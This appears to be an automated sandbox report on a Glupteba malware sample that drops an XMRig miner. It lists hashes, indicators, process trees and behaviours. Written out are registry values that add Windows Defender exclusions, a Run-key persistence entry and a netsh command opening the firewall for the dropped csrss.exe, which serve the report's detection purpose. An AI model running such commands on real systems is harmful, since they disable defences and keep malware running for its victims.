Analysis
-
max time kernel
18s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
18-04-2024 22:49
Static task
static1
Behavioral task
behavioral1
Sample
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe
Resource
win7-20240319-en
General
-
Target
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe
-
Size
4.2MB
-
MD5
1795078e20a91b11e2513be31204d3ef
-
SHA1
42de327abdd5107e40b821f128c9749866a326db
-
SHA256
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac
-
SHA512
3bdb04006e5831b0b3999c4fb3790e640b2a03c489599971a5a15e2099dfaeaed0439e1b9a19769247653905073ce4110386250af7ec1b489f5db3c847f1678b
-
SSDEEP
98304:DsWc8naSrBchbGtEv0JHIgMwpxxX5hi9ihYSp8HC:YPUzBrIgMADi2p
Malware Config
Signatures
-
Glupteba payload 38 IoCs
Processes:
resource yara_rule behavioral2/memory/4472-2-0x0000000005130000-0x0000000005A1B000-memory.dmp family_glupteba behavioral2/memory/4472-3-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4472-301-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4472-303-0x0000000005130000-0x0000000005A1B000-memory.dmp family_glupteba behavioral2/memory/4280-307-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4280-821-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4280-1037-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1043-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1776-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1787-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1789-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1791-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1793-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1795-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1797-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1799-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1801-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1803-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1805-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1807-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1809-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1811-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1813-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1815-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1817-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1819-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1821-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1823-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1825-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1827-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1829-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-1857-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-2281-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4132-2354-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-2474-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/2212-2596-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4132-2624-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba behavioral2/memory/4132-2630-0x0000000000400000-0x000000000311B000-memory.dmp family_glupteba -
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe family_xmrig C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 1012 netsh.exe -
Executes dropped EXE 1 IoCs
Processes:
csrss.exepid process 2212 csrss.exe -
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral2/memory/3044-1783-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2624-1786-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2624-1790-0x0000000000400000-0x00000000008DF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx behavioral2/memory/5076-2181-0x0000000000400000-0x00000000008E1000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx -
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in System32 directory 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe -
Drops file in Windows directory 2 IoCs
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exedescription ioc process File opened for modification C:\Windows\rss 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe File created C:\Windows\rss\csrss.exe 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 2468 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4072 schtasks.exe 824 schtasks.exe -
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 32 Go-http-client/1.1 HTTP User-Agent header 34 Go-http-client/1.1 -
Modifies data under HKEY_USERS 64 IoCs
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 33 IoCs
Processes:
powershell.exe7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exepowershell.exe7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 5076 powershell.exe 5076 powershell.exe 5076 powershell.exe 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 808 powershell.exe 808 powershell.exe 808 powershell.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe 1916 powershell.exe 1916 powershell.exe 1916 powershell.exe 4700 powershell.exe 4700 powershell.exe 4700 powershell.exe 4320 powershell.exe 4320 powershell.exe 4320 powershell.exe 1228 powershell.exe 1228 powershell.exe 1228 powershell.exe 4044 powershell.exe 4044 powershell.exe 4044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exe7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 5076 powershell.exe Token: SeDebugPrivilege 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Token: SeImpersonatePrivilege 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe Token: SeDebugPrivilege 808 powershell.exe Token: SeDebugPrivilege 1916 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4320 powershell.exe Token: SeDebugPrivilege 1228 powershell.exe Token: SeDebugPrivilege 4044 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.execmd.execsrss.exedescription pid process target process PID 4472 wrote to memory of 5076 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4472 wrote to memory of 5076 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4472 wrote to memory of 5076 4472 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 808 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 808 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 808 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 4692 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe cmd.exe PID 4280 wrote to memory of 4692 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe cmd.exe PID 4692 wrote to memory of 1012 4692 cmd.exe netsh.exe PID 4692 wrote to memory of 1012 4692 cmd.exe netsh.exe PID 4280 wrote to memory of 1916 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 1916 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 1916 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 4700 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 4700 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 4700 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe powershell.exe PID 4280 wrote to memory of 2212 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe csrss.exe PID 4280 wrote to memory of 2212 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe csrss.exe PID 4280 wrote to memory of 2212 4280 7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe csrss.exe PID 2212 wrote to memory of 4320 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 4320 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 4320 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 1228 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 1228 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 1228 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 4044 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 4044 2212 csrss.exe powershell.exe PID 2212 wrote to memory of 4044 2212 csrss.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe"C:\Users\Admin\AppData\Local\Temp\7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe"C:\Users\Admin\AppData\Local\Temp\7e4dfff458de19142e3560d55121881cf94872105c21c29e568de62a53cd77ac.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
